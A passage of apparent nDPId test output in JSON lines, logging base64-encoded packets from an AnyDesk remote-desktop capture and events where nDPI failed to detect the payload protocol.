C+euCPss8Ir3fhwVqQBM9yfpx6rz7remy3ae+YWdBb21+mHXAo1dQ2RpzMUGHjGgG8WdYmagBk6CH9CSEGTPw0jC+Rl5GtwmgtIkeJIajWnGP7nQwrqfxeyAiGjfygffznlNLbGJ+EXoYQlb4PkiqadP+9Sv1PPXWRYyZU+AKVEdrZTksaO0HFM+aAqs1XfcplU8RHhv6XZHGAbVihL830guevKnikMDMeQ\/Fr96U7HKvFHm3nQsUCtQUfQXfOJN46VU19\/6\/Z4+OC6oOKCkIIcDrISvfh0HRwUZ3Ugr6b7WbNulmacfd+mWtn5FNS382GohS6vPI\/4pVA9aCka2MT23joS5zUbQy9Re6Q5ky0i9WsiGrhkrMu5SAmE3BxlHLlnRnQGsXsLEXBFhEbd\/p0IFhMHzsErs9CFGsgvSSZ+Z+re0VruI9O+rzyX7XvusO3MAcXP4K9run01RTs+fsp36ngKgLB81VyPCPaADlobd+LxafTy971nBEDxqdvajVGyNaVz5H70m09cA9V0aa7yF\/Nkde15PZOzqF1SRWE4d\/e7CyDLTuxnfrhDlxnXSpdiPV61d8Zm3DYSgCzyfHwtvbu\/IgsH0tNWh2S9rvuLS3mX\/6jylcqodNzCyhnxnEXmUC8C7+C3MxWsCfqzrRq75X98dDH8AITl5dgUxjRkH6nAhTacYNT9+tvsi6bRUn+uZ\/K5IQMG3tME9RJWuYMeqewXh6qSOqWFx5Om1z8qzKtiokpoEQJbv4ZL76EIHulSm2CWqc5pAmqmkTMAleI6I4wCbFAb2t1haqcqMCnRGOssWHpirA7V6vIKzzakAYKPIMG0KxjvHQWZYVI82Gb6P+FNH3rP6jcuMvtVZWSn7NuHKg9L5afapAYgUHSmgM3wCXXFRMpjBud6SLzaWfDllnzcsxh7nGY2uNfkXxa75GnDy\/AqoMp2Bc1tJWpGSrJIzAGyfKXXsJSB9oKYnQTJBTjbVUW+0sh3zxghOVykeAfYLE+L5CTXD2awE3bcWLFmEbQrO9dVrnc4hsgRBdddTVkNe\/E2TlrCSIGt3whymqbJttPzSRfQAAOnOtMtNB2tzm3VtALbu+jx\/ni1fF4amSjL\/tlVJGfwHCtJCCFNiP+C2gwiXityybQ6EX\/wuIl4kK3nb5m9yGEXQ0Ac7k\/K+2KtzGEXXzwS0Icv2N1cpyQpiGO1eOOoFzMQJuQs7L\/Y2ngqofAg0XZU\/ovXCjKcMsSwI+34+B7GBt87ckois96zj\/aov7WnapWwNnfEydJ1rFfHxIQCt3vfqudVjZf2k2FRpNNeweFA=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1142,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2592} +05964{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1146,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":727441,"pkt_caplen":4178,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4178,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfEdAAIAGAADAqAG7wKgBstOUG56PIvP1WcQsEFAYIBGExAAAFwMDEBdZ4hNO+msVuTFEt4zkvsIth5SS1bY+CRwWLPSzhIt0EM8ndvcnYrmqbdpZkXauWTZNhJRyD9uQEMUiGV1IDYHwPR0IzN7WpBy+d3xfvbEm\/\/yx0xX+D21jmRN0qEzAiZmbNI2KhoYY2AhBMTcdhaDJW4YMqGUPr+wDL5pS70AuekOns0fuiSniUgJ02fzu5hUeT3wW\/nnaewX5PKj6x7HlZb45rto6dZ7LQWhYRRyJQg1GZ7ckojI\/VHyLdujlWTYEhSLtXqbMCP1VeHygFTH8yPqoyzRX0o0rFJYkSB\/ratI7T7iQ+Fb\/K6Qmy7fg9Ht3B7pGgGPhAKDTMOp3LScfyzin9wkspTgKGXBkkWFEXFmQYX+KVXjDbpvtK9p99\/\/szeDiGkMLVHQ8GlWD8xzha2KlQLBKrOPvVyVaMV2fAkTK0Cq\/65p0uxK27OH+dfBolHLUAUzasruzAzLYGp6RoaI1fBq0s3PE5gTB8lE9DP9fuYV\/ZootQ6BxeMW5GXqL5OI\/vds68n9Y2yJ7nnrg89xOyQ+SQCVzXf0blHq2I3amWyEsSOJpA41KQVqQ8kC\/q8LJy\/3+XLu8SGlDxGRzEwaUhksld9iFiDHPdHnt1FH84w0o1na5os6yZ259a\/n2a9gz95eDqbNjOPCJqeytwVVoDYHteBw5JxT2XmpK6jc3bE\/TXZYEq4eHWnGXW3LtuY2xdbSoRkdLeUU7AMmyNga4z+BrbZZmpA4Nygjbfn+GqK+29GqKMrIi8N\/D+shWMNlqM8FpCXT3V\/pUZAlpeXGCUlhJtv9GhY4fhbeFnZTpapuBYXzhBCfkxR\/nx73dWjMjTU5OA1mS1zPhouzZPVRhPFytDfPS3H\/wHFmGL9RM5TEwaBfv6Z7daRxvTTfOr7mGn\/3lurK9LBpzlD+yhsI5ucXWdh5Oxoc13MvYYd+DrXKLPoplleEC4\/M7AII3+MRl8veHR3X8tW1tT+sir9OKSe7tC\/eIBXGknzjItTDn8AKAJn00N5asUEZA78QlBG4jfZ3qeFH2LmksRxIKNooE1HYlnelr2RHHzWSpE\/oHUKTAch4jDMVFkTORb+nM31UDdlNvEWP1Ne9GoNbew2yJtiy\/LhwEuj+VhW5j3e5+PnIwIxLKFrnL6tePCA3hqey\/L3SeRcJQ50Pw\/RccZi2ltDdceSj9RNOr2sObxuwhiPF4CUl+PCFB1MGhvtfzY2TeLM1pvVTYtPa5mdotSqMSTht\/w7icYhzaBjauMhaN716h4yuA2+plWRiP8NSXVgiXmBX4y9PF3XznQK2ixIQY09CHR3V6\/AhiMeqwieXsIaBfx4kYIq\/7KYk5OV+XZ1Aek9DUPVSXaU2E\/10d6EJtUffM0DAxsRee0CezkFzw+u9PPGLQUcjg1fgjiSUxUjKkAscyt+CYltsTH6\/ncsto7HptLT\/TyqoxOkc8mmiC1NtBjwoQhjZIi1wvPpLifp9lwly6S\/i2hWfX9MRA\/seiNV3qIr7bZzVoPalu7uCGvAOHpSIjumS0y62jqu0lzPO54QpA6b2nZoxPd9ZwkuBbo+e+GKedoRFj00sLgCuBAZ7FoiGgGXIiui87L4MZJhgFpvXh4NnuUFCOeupwm7tCNBHu3Jl16OLsRNrkoICm715jYfQ\/VTKf8e0EYlpF0Kc1oz\/esP6NJcl3jsDxxNHQ1bgvsL6Zi8+td1o6kmK3npya7ZfM2tCl7aaq1vrsuKsMQ3ViXpMG\/Kjt72Od3wzSUIeqaVXrPBnAd8u71pk\/qPJyYs8VMOY4eZa15sewHc\/VKquQ7boZbsPcu2HC1069qkSWI20XNN7yg7M9KJwlCyve99I5pxT+C93Iw7VInnQj2WUnWIsn8MgiNeVr76eTJL6LkEBBfKYCHitnou+B+zunW5i94KZpsZqM6k16gCjO3Ujqdcj2+Btj+d3YvzGn4c6lD36K5WAemDlsRyol3AlsodGWjm4uPGbERssIZ3d+rtq847c7OFOY0GQ97n2RTmGQ1Yekf7vpYocSmwh30bmHJf4KqRpWpMwayXt6+PJHxs6nMl7hmB2OjnTkMTKKYqz4\/mMKtw8XuIQie3kK2gS37KHGyo+fc8+G3w0Z8sB354ARmZko8Z6zWiubo5lzSZv276XHU6GclPpGQso3HeCnlwZRHPV5fXrzqXJw85XWz5IlZjE5mDfhpfIh6VpBYHsQDQzttPq48WzknzPtsalCWJcViIYfiBZXbQpSo122qhak2c3btaFFbgBuFxK2foNrvMP1sD\/NWaJr2pKKQ3rCZwt+ILOlslF3GEcFGkE9yHavKjW706Ng+vrPwxIDEFlbjM4xxQUoZopCj4jr77p0LCKMgAhq8ANW0aEshTDLRWU7yA63lDtOIsyRdT37jZcQniVZw0Cb3RAKKysJktq3f\/4XRfqcfgLTT57gudOStUJMYdDExpo4MrwLySY9WF72hAwBkgcYkLn3tPVxtRfgGCsLifTmfztcJVPaEeO6u7fVLstDwK1ojCFvY7jbnM4rPEtUFUeIcggeNGf4mHMETNyfaoptqeH7mRZi8Ox6I4h3LcDorzvfbQpi1u4GeAvXLCAsyCC\/s12EYpRXGZnVVRjyzhkyNv\/2FdDeq89x5KP8PhDaauaghLoyyPSTXbwEWPweArQi31Ltept9fEPe6FVLnn6IMOT958sS3MEJae9rU5qZpi6qdHIwN2TT8trHehK4Jbq3HJKxjgr2C0C6xqQrti0J9cGZd73lOadn44QlaWYyfZMqomhcf6DHtAipD8XgU2I9Kc5M2YENm7Yc0m1DkaNBc2DAY0w96GEDt1TGFylEfxRNKjDxd2c1plYnSpm3wSolZ6DA0VUqaOFb08TNkJOvl0Rf\/3L0yKNvCrZpdr56fJrO+ib+ciHnIuroh0Ekp0J28+JjYtEPf5tThSCwpYsnL9PXMLuqaNxhSC8Y\/BPyvlF9ycIi8oSNIO9z75GYQVZ5Py1oaarToZqqqfVeuZIV\/\/dPsVGjby4LZdizENaYsYA5tl8B9nWzWrkeT1MXY\/BVl1JuiULlfi34QtyxcI4O0MDTDLsAkMH6sfMcrJtLiNxLXOARV4uDuWqpt0Ce0M6ItssRMTKhagAMs2Ehd6UgWW6D3bxlL6KNZAPqY\/Dp53rj9WNMeW3tVx\/Lt+2eDa875CkH7DdLrOrtX8qix+2lw2uaLh863Ev+DflTgmVeXmTIjPD8iw9e85fu21HPluSNiZ9j7ZxAsnuYyXFs27\/s105nodxBWVmz7F0Tdz5qAuueZp\/P+eNyFRRoyyLYr77PYzxLcvhIVpn3iCFWFylcTx8Q9rwRJuScstqfmOxRFRlz2aXSjXkPBGDM3RB\/jPgRh4vqAplNyIKVgTym9JWB8eEXwpkjhYpaS\/fBhNUNxccbOti6AzSrPkkHlGcBpuZ2N+SeGyIzdgAcXokE81zZrqs5KXL9DGzu1ijqVoAPuejzjLS4VK1\/6yXcPIpVLJqzeFyODANQj44cTfPKyj5rmooTHZJnWllJJGUF9T2oC5SE5TCI8SzD6mgdjV4vdLjtWNTSZUDvJs26SZOYiPBxBVvKwXlCgSSrDSiD4AQX+qT91URqSDB2N1sSGsLOURZw+WZqIA+ddx8H8FqGyth\/sUnPPjVaIZJOAI3oao28W8UjVFOvY0xq9pzosN+\/0ZNuHjDydTTtc0yR1t4qfy99WgEixzCiFPnwTJZcSI+1hJwtWzEMTQSI4OrMDhAl+jTWLSjetkZZZbQsi93bhVUy\/uOG94gl9Tc0EY+kDVIDENdWquQvHcqlD14tVOL3DOkxuELLcxvb0qggBnrjhFp05968\/B\/OtdidKSmbdZxP53QetKASF3Ggomwkp+Hiu8Yw1VWssCIaO6XljU6hcNTKiNKDlhWvb1JA7cXufp0mvsGLf6O7BJj3R8ud6spSqz1zaZG5EMcHx9uVLFnmDRMjAQ7\/Gen+WGbJ90Jndw6V\/D4pUDvSHq8S3fFav7liwQuVm6l0A9Zkzm+SXZqGNgIFoPlxGsQ3g5GRoFm\/qLmb63aTFbvPIHN\/RiLf3lW5ss9xiPpt9VIk6c0iLT7YjjLcjZYiYzzf7S+ESbxO5BqwlasYsSeaKkfU\/KTlx+qIXypIraB5SONxD4v2ln89p5otLwxmo1eXsCQgxIHE1vUqY4rD8r24SNwnPC\/IoanYgG6r7MDQPcEX+c7CfHNy12OB0I+iH7dWnk0sX4O4QQznlQ077K2BSliFNQOnjB\/Fl9tHyukRioH+agisN80yeNCCHtVIG53KmQy5LobM3aYCwBkcz9QxcHcv5G\/dlx7tujR89DLRK1jyE0kMX4k3zRFLlxU8NveZnpKrMEgh4X6MHM2esyHIkfLsiyk5RjEhx1t8h09fLMAmD0aFN8w8j4QDxBghUIpSY7DfFrltE9UvN4MsBhVttIG7p4+fb\/zVUC1sFDoaELtnHZShoRTtYmTufVZd1Bd\/6zAWF5PIwRdvTkbQWvAF3mUhJkEzMi5aD7zcyae8S0w7m4J\/n19\/pWaTaixbHtjftROxRdE16StuU8ddrMmRlau608m\/DTUUcEpXO2MlcvA0cSv9WoZpQiCHBhqAbDnymqlNxA8BQQu3OP3pkcJqrl0BzxyuCMtYb1F4ePeUMjgurNzl9QOOskCMYOjLlrG6d5JnX\/GbCwpfDmpPGLFnOVgXEwej7wEI4AQOO\/GMEp3LXlXrLnqwIj0ES8ZQcb6DZZybiOY4ySz0uobgFhob204WdeGLRRauROMEbU0MchgkW\/n31rxNDSfPRv9ESy1BYZEbJpXlyntorVgVqvLEyYOhGycBmS\/2BOzXl0+Gb4MLcKd30KTpm1ywtzIYqBcIHchEeUGD4cVn9K4J1qPDKysdHpj7ElCQ7czWnd8mDkbtHdC9rlExZuoefWIb9OsCkFu4CnJt2UgMRPHJlNDS22ZcUzabR+ED57bfwju1CmR1zfaA5ujR31g49dbzc0efMtqeFLBeDHzsZOp+dXfA3cUW2hjCIjaTQhMqDhwildkRKW\/ImqJcmbJuCw4PXZA\/0iXGtheZRdhtDNCWOMcK+jo2asHdnGnrHcygIzz9xVUNUeXaynyE2O4rVXY\/qlMopmEqvaKLrUsXYGDhwcQx3qPQE4OeDtvS38nYiROVc+HG5ugo6V857tYmCBJ8AjNJYy9DAprObXHITSfEH5OOfHazBfjofbY78h8w58BzxXoeWr\/oC4HX0LGMvKpqH9sF\/8COfCglAAIbganTpCsV8kHdR0pEmhXtw0\/R4b6NZJKIqIljH4sEvat2YzyPpVefdHfIZZ55M54ds0Vs5+vDlP9uCU7heM6SR4GkB8WjftEg2wsqk+w7JhlDBbGypXNt+kPFjIAlJNQou9fidrdzsZFeZD6h6T65sQNZfHslejJHiu\/ybVyDNnQ\/sLbRAqFdRC0e6e3U3X+nCFxE7URqKyVTZyptaMCAmzh3\/tXzQPEZXDKEcTI="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1146,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4144} +02628{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1153,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":757097,"pkt_caplen":1711,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1711,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfFVAAIAGAADAqAG7wKgBstOUG56PIwQRWcQsblAYIBCExAAAFwMDBnRZ4hNO+msVupY2GhO9f\/d3fl9+i88qaiZ+94zZudAdUJYgzI0hJ\/pvZv5bRAa8poCitL+UADLVZRzl86GCk9nfn4tDHKIEutbEmFIzooowy56rjuW972IE4C3xtf+IpwiN7ypp8mlBSQEZUCCClG09wyOSxHSvs8b7KMthVROPNq8Cn7ypkF3085eoYVVVdGdbVxGoBb34SkbdHyoV2xd0gcBIrZZXGe90JlnqJ4gmnkD\/3rohZRPHwOepmtKv\/OZeQFhX8W9Xu5mXQj\/bEyBBcsi5ndyHHwt8R\/mZaZm3V5X66j5jxNMiVoPj3JZDJSmtHl0pnPxMSRlCTP5hLRzLuwwvxWbaKvjlZPOGUPry9xJS+IQBykM0Cm1AwmwkyP3PwO9+X50Ww8mancgZmEFQmhYzW4Q8JTMXg6NZkRqeEM7ja1SHr4vCfvF7vxyynC4C1AKBotCTInDIxWClac+mk9uL8hwM713byVfIoX0qezSOvfuZF4ffLgo39JkYE9mXPWrOkNTTgUMau5ee3qixNhOAy6\/YlmgP6IdkgjD4EI7uKHhTrl4i2N1vRdpyb6DnFONTJLxXtKCdnZ6A4\/1hvCZDZIXVmBW6w0ZKw2zb2l831sV8Rpk54VjAWOh6lccrhkDsLmMZ4TESuxnKIxkExlVGRaBQ08MBvLPR2x37+VJoxqF6PKpZ4TBbnNwVM\/9ZOwz7roxCG5lT4SixW+b0Y9uZIH7uHTcTRcVwEX5IdDI5QFFCCrQwDzhhGWC5djQvMxc0jRE0x6n3LJvLmorJ\/uhvpIW63Ab4sbCeA0PGzpTjFeFlopEpNsoO\/v\/4t+0tCUuJ0YrbbabejqZ8Wu4IEAkI6FtZzUVec002xrpzLR5MZRtEDcjMxPwjii3oJ4ipriWtKmvt9a5m5iIo7O0MU2rOQWK8Y0EmBTynvoGqUmop0Ut+v21RP4kYMgkMK+NFCLhrlJnFattMPQthaBaPuqVhQm1vmR4jwHDQj21GUB\/3deZzZCRPWubJctlilrhn+VmAm1UQ0hUbVHULe0mtX09q0G0IN8wlBJJlezrtUZz1ThcJJZ9muwojMYD7K0BCT\/ioVTgwsReYY\/vnAWUfRfASCUEi3hFUF51SyazfcZegYPsGXwVu0mwRpeu220EwwnO0selD39moLP8ZiSe4P4x6I+KkUXgBrDyGfbLPGPINAWiMbK328swVVb05XSnKEL5H0Sf\/QWFeBFt2oY7rhTcGV\/oQVCRUKRSKXjs\/zGGUc4K8JVY7loKZ0DptAf7ya1W6GFtfcbxEeBaD6B3LSg8hT6IBocGKWzLnSSE8zeUcfk3pvT7G+mONsP1mrEGUIKQWAYlESh7EP1FtthzToklKp250O0ZzVtfSyX+Ui7GXKe0o848eXQi3V\/uplu7gf3ilpq4qqtbRaY\/h\/b+B8li+39F\/5qVubApxmo902zDynKHBxGcSB7t0zbAAoGfD9D\/JtCH9Tkr5s1xjKgBzA3cd1T5SnwuimTEEv8YKBVGzxh\/9nsiuCCEYnA3rkZcGoVbj\/bQ+nt1jbILhPCx\/HK80EL3flzRgIPGUwgVJGkI9EzNU0F6b4LG6WdZhBpIFkNM+N8G8voQuyHKcQO\/XG7TL94bW\/DnmA3w2McLamG\/YvyJ5SvbSGtv1JMvmKp7X1eggB1ZVoYv0D\/RkIBOUOvtRU\/nF36kc2390TnYbsoPTDNr6muZYPUko8DsNz75js9Bft0Z5yWwbeRN7bwlMaORi1o0\/hqLk4T6vFFEYd64+0zawORs7s2tL6nQz\/lTOzJZ3BT+HpoDsuANehVe\/5sXLAIrjEsfzefUrYwELMMDdCB\/ul+Re9uFY0\/IqIehtgVmUo9pfDxq5QvrYEKLbKi+KvjHP8RsNfH0E7xJEOIjO0YTgO1\/xpRhwgzqGytnqwem8MfBqBw5wneGCwdci0jpWOb18qvkLvhmDke03c9O9KeDTy8U\/TszkNzeWIzpoWVr9cwKwkjfEdmnoRN92np6ftH77meyeWHPMvOnvAJ8eeXNcHTYrPGYwuxwTMS5ZYKnYYBBGM1sNxqO1cPqfzMPxkw2QnuE6DxZaFh5uck2KdUAMH31R97u591M9L94K8xjf9He7UqBh815mpHzOmkVQrnvyqKz8MwxmBsLcW9cWyYrOyfrEOh84\/aYZkKG0CzLGd2DFkweMPJReRwdtgi1Z9w=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1153,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1677} +05628{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1155,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":757844,"pkt_caplen":3940,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3940,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfFdAAIAGAADAqAG7wKgBstOUG56PIwqKWcQsblAYIBCExAAAFwMDDylZ4hNO+msVuwisS9TDla+Oh4vxmG7+v+k84NfmpwYsluL\/BKNzaUOwqisGdkseV0oqenX5H7xw7hGzCnZm9yKgblGPnc5jS0xyzEx7WLzwjQ8vMZ35\/GZUssrorx9dRDv9ZC1JY+FM8tekCK1OpFr18af8FG0w88cmwjRrT8pjyq5VOktHvLFffapoYEJhknFIDDqHTRMmzVTCvtt55ZIXyfBNgRWQwiLtVasPr6TGODy6o3CriWPHyz+r8lERxtvMHdP+eZLnEjwFuVqWZ6G\/+L+aqrbr8Ds13uVgVFrQLB4Kjph8VEaf8m+fo0dyJ0pFJEsc4\/tt7Hmro\/05chpvCiJReXDBkZwULcfH13pem8DfEf2R8lLBqP8B7hDBn7DzCGnKIC0b3u3JR4uOv2uhRvFGMI07QUjJ7LTos4mJcRtykahRRg98RDJoH3zZhKwHBO6Xo2QqlnOsgwvaCGyP+oQcpIsEfFdUgj3pKEu87XRmjLsaI2SVTRQgh\/Qk8QUbnv4gyES5fBCnFlzlMm4OkLoe+PJ94JkZ6waYj0tswaIZva\/n4JuLoP39R9y3GjFfqDV9l3n6MDty5+4cqS3XfwVo1Ok+QDrj8msl+TcNfDMg032FkwnbTM3qMLS7iaI1zwn6DeGjPJzWaaZqHPtLbbQ73ortIVTy60se5thWsHVqWBIcf3D2LmIfNlEHI7NcCzS6XfNAKKhrSUBHwKVY9PwNqogvAwXOQclda\/ot3my+BYwPQ\/Uuaj\/A5zJF8hDVMHscjJaZiqA7A+e0FIAeG\/\/ClGNbTp5kFJ8LnOsG1oAn6M7vKdK0VuUJheuk3Dd45SyhrVeTX6otCe5YFqzcYgE+1hZqWYdaiyI9qSpw8OLpuCoW2AqvQTdT7G87ZPzaDjA5o25O5jL6eHGXynnVqhWNSpjAF5Qu+eObxGV7NiXgP2Ecsur5CCec9Gjc11VIDcdclmLR2s9Es6rJNH8LcO7UPLvt\/9MyWzV+1tnvOpDAYlmO+vD0m4kQyXwO\/+UQhKjvHo3xm3t1ll7sVGNAE1wmdvK2LkwOAyUARjPKjLWU7mxwKPWMlhRB7N1qf5+tAZQdJWLdBdImzwbrA3zKYMDOOcBy4xaOeakzn+BqdEZU91nQiV3MhFGW9yDQaJwWljUZeqWyH5ewxkFS7oMZFg6W6ZiiK1Bc0EX9G8FJWIxsqSG51dIh+d5ZufrZr6QWeNBwsMetfvvUg7Aq3hx9BpIVMGVMoWukeIlX7\/0wz+xBPRAfi69EltIkM7A0t\/1YLOrGM9fr+FdX8Vzlxy9h68ASZXKFldqDYkKMKWmwpggVdQ9O8liN1+K3F8hd24iwdY9+m4q69HGEdmvGRqHcqDCNb4zutu2e82MreDPGd90BDKGJweJmCDlYDZNJbQlMYcYK59JK7twoCeeOBcyaZ\/9ndoRswt7PfUAWrfZ3Q6Fydvgsl\/QruVzJCA2EOjI7\/7LCXFLJKGE9Sn+E8efgVbsIU4lcCf7wCzbxoBEuvHDZahiuUZfdYnM8TwwGvSoR0X+t3xrgqb3b9OfcGTMAltJ6vDP+0iuzHt1gojFIWALS+JdwjEo7XWtkTXLQmzBDmI4lMifjVs0RUMfFUAVGmbKRKn8pA+sUR8gDzSh5oLGFOwnqKBh3t\/E5kjBVos5andg\/b6tehjyoFGlnbws70rPhWarB1ijQ3JgDBphHfNLGAkfIfJwZcPU+nx6792wVmPFEPf7tqsC+dfTz+dCjNiZYaROeghsEbiFWF4xJXgidNm5oOUBiUAe3HqMtfSQFsT43myHeVqE+ZgBZy1PdhBTojvfy+n49Z0hpX3f305iKO8v8fVRfC5PAShxBIaELqcNUCOhZ7YZrnXR9Z1hF3eWSK8lNDPKa9Vx5eI9hoyzBGxOWTTdxhDCNyJPdtEDGvWileO53SGg07vzUHcOoWvVfla9YG15EMOw28t9VKb9eBUSBtZErfwmw4PYFf+M+lxhji6J35VOriH818Y+D7fVEfnS5VUMJ3JugMDcRzs11Fj\/LgNZYXbQhMCTT0\/PwjB11ymhIUj82WTus3EakqxnwyR9phQwiZuk7zkqGvr62CpxkhInXg\/9manjd9oq\/Ct4LLBYLQm9hxXvSCF4gk5wgnQTRn3eBDT8UIbvluqBY5+2QVUWkQ6pwg+xVgWzZy4t9L3asbo\/r7eoS0DdBiUwkengL0Zpz3hJakl96JHtbCcdtyD7LyIruIX\/Rc5cCXMx6HoiKcseugoFgjzmEpaAXHrwuUeRUU5aswskS3LAiu8K721TRM1X739\/5V3lps4XJ3x9Hm8FG73vmjhwfkUodX87ERaZJOmL1nbsLRlo6mk3HFQ0BeNFzkdG0Rfwf\/KHv1urO03kGbxiAhBKCN6AORP14YGhWF9\/4WosxNVfQkHuHLoKmksRYGzmqzSwzLo91Me3j4gyupOtgD+ktuK6aJK+CZXMzjZ3\/TL6VgIM8J90xoBb4rLqOMDs4xx43XNSfNykHqBcQ2EtF58J9K9lnohNE9AIvt\/ZiaBFVLRdu+8rdoX1SWO7QPpTXZm0BagbPJonvU+kEib0yHCGepxyN\/kGCj0u7eD7OeqpdBJD78Ju6pJGttXpmDz6083hKptuHARxYy+Em09kO3O4esg0DpGxmtRu8Th0A68oZRlQF46G6dvMlTDUcSFjB13C9MQE4dU8XQteSDSQ4ENcrKy0YSJsMrB03NOkhw7y2zpLJfOd9uZwP6X9VycKSRO+7TiqhnpJx5WmqMtcaXACnk9syGpqUgtRlZPVpoju90GCaPmISg1pH+GS6\/tQ1V2GHxXB\/j2K5IdW7MBpgKFuLi8FegOGDGExkvK\/uaQOTzWzsbeg+BCJvziAk+DuEbGJbu1NIi98skqCXaBrfMdOh38OpAmX79LvtldodfGPbjN1S6hUl2\/h0ICysf3VxP1OxMjbU8W0L3EZbcN74G7Aq1GdZQaXJTv9kFjdOXLsm9FO5jsdwxcWf2XnO8pXlrIWiKjiM61HQUgup9RCWND4K5d+LapVnFDr7FmVeBhC5COqZRPWROHz026P8N1EfA13ig6\/0+HB9M\/gkBEvWEKIPR+naYZahMdcdVQl\/YVaIikQaaR029LJTDFONKHE4poKaa0IQd37X3Ad5SHXnm18hAFiNI2Wv1piF0gnUDSWdSaeafUbIyhkJPdpHMdfZJxP4RekpXzj9HGbe89B2QEA9hsCdBd\/BHl45920tJkUgSskjxyQJlCLUI0ejQuei7eUMRiW+XTPQRVBnRxphpxnqntAFtlax0chjKuiUJx7xar2iXRuIaU+GFapmkOv8EF+SIeUXqpmDYTdy+A3LgXlzKFljEVVKdNQDhDzMAllzkdA+JxFXWTn2xPdEDGFOMQ7pct5GyGt0+g3vPxcQKCCHrUhqWg2HD3vdfZ6TOi4fbDmzBan\/Lf\/C84psedRsOQQ6Dpp3aDH7nazWfSylK5k9X6lnyf\/FqU3QLnB4I4jJCquMZkZEVs+puLlvv0eQl1ik7r\/wI2lWZG9\/98XbehvockIFfkXf4Zlqul3TlKUNomsVh4VTMNUXQsdOxPCZCqx+2sjH9OYDv2h8N3MCgQuSxioLMPH82sg16pbkZDULzFpvQR1zYAOBRD2u8x6+q0V944up+i2nhO3oQ3xGX+5nRgXvidhOhnm+5zD5qiUMcMZdExpvc2oIxa7SOYAXHwk2p\/wyBJMfT9fIzH7KRJUsLDGFPQ4RzvO6asFc471Xh7linACZP1RMpfZVvSmDnavAg0hzYDGjeoRh5q83qe4\/e4XRy2AiFFYsP+e9hkH4PngJCZdDjKSC7MmbncD9Ria3Q3lKeVXccshxbnB1jqgVZDySFWjMn8Sz5lNIjyDTuaxiGf2xd2HDx34\/wEjCi2w5fmfhBDqiuiX\/LwWHCUkx10jV1WkbAU2O87iOGjp756bnmVlTPB1oSdLM81KprmAvv+QVB+wYSbTHjb9iP8TZcgDOPz8LDVZEHXrWXM7ZtjmT4569cQ81Rt5Hs+U1RLBEledS+bdAZN\/+IL0Pfx9SYiKp2ADCIXE23PCXP5iEmcStbi9Zc94\/Lm\/Lkdn5AnaxfPvJEQQPmq9YmCL225WUhstdsgj6JUeatrTPydK5S9VZegzVpz+0IeCPMvzFOomAeR3fg8dSMj77oSDBNa4DwvGoX5YTJsFRtq6uT+MlanO0dGc9N+h686ncUYogsvTBQaN9GV3W2Ml6m8ANu5zciGgHPg2Fx321P++qJ8vG8DskiEQ3tSXd2UxcrFCaNOMya7volMwLLUvWFpuyfeaZKNggyHBRsJ60ivSjO8OaP0QPT7Uhxq8IM77IQn1YD+QdnmU88swCS4V7IdmWFzgYQxbKkNAb1ndWd1q9ZZm8ulykKdWlxiKJS4MxwFH3a61OD3bY3EoMwAMrZCmgqBPLMRTJm9yqMxbAOp4OH+G\/iUFD26sL1nBfk8nt0gYmp9waebSVe4JDKQN93j\/nTFnmQRBN31v+q0WW2acNezH2S+WGV9LBml1B5wPuEdcNtTmPcW5pEmRojWFF8bD5c\/kGCxZfYXPMzQL1Se3dFH7n5hYZFjucuTg3dE\/x1xefLByGOOJCmXd3FxeqAO009aqesxCUJtghK7xMW6g3oOdCKx+rPga4FQt5h68dJZP6q1W8OUI7F84mR9+yVbF\/W\/vl6A3cwqD5d8+Yun7tB5lWVAeIXu5oqvTmS6HVICoZXBF9B\/Issgzpn6qD+Ynkq4b5hNV9y7ZYpL0K\/cuNtNz3mUT257u24uMBKWiX9+J+Q35kAAlgnJ7mt\/lPuq0D05Znzpuf0addLUzBT4OHXOaA4OsmyMVAQD0qjyIlmK8ObeiD0Fo9T0GqMYJcr1LmkZZWT8p6WH2XlIsBWgyODrnUpEhbjCJsQq69TecZ79n8nanap5Lagkj+RhrfFUBV2i598E6iL2BzGoy8o3vyjYOgbFtAEnZs8Btqluqqss45iI\/rLELYcnqkLj9bSe2H1x8nRIwkpqQcJ28icanZxMC\/wsTSYCdIaOLXHwG2F5jKwonX\/qbrF5yjbDG2ZR1mAb6hvPFHLhuARMmEWWD1C79TqZTEDuhp7Qd15uoZx0lB+h3EFKaHeabzAg5Iv\/Nc\/zVJOzXrdG3IQQYCUEFtF+4uceUUeVo4pD+Rew=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1155,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3906} 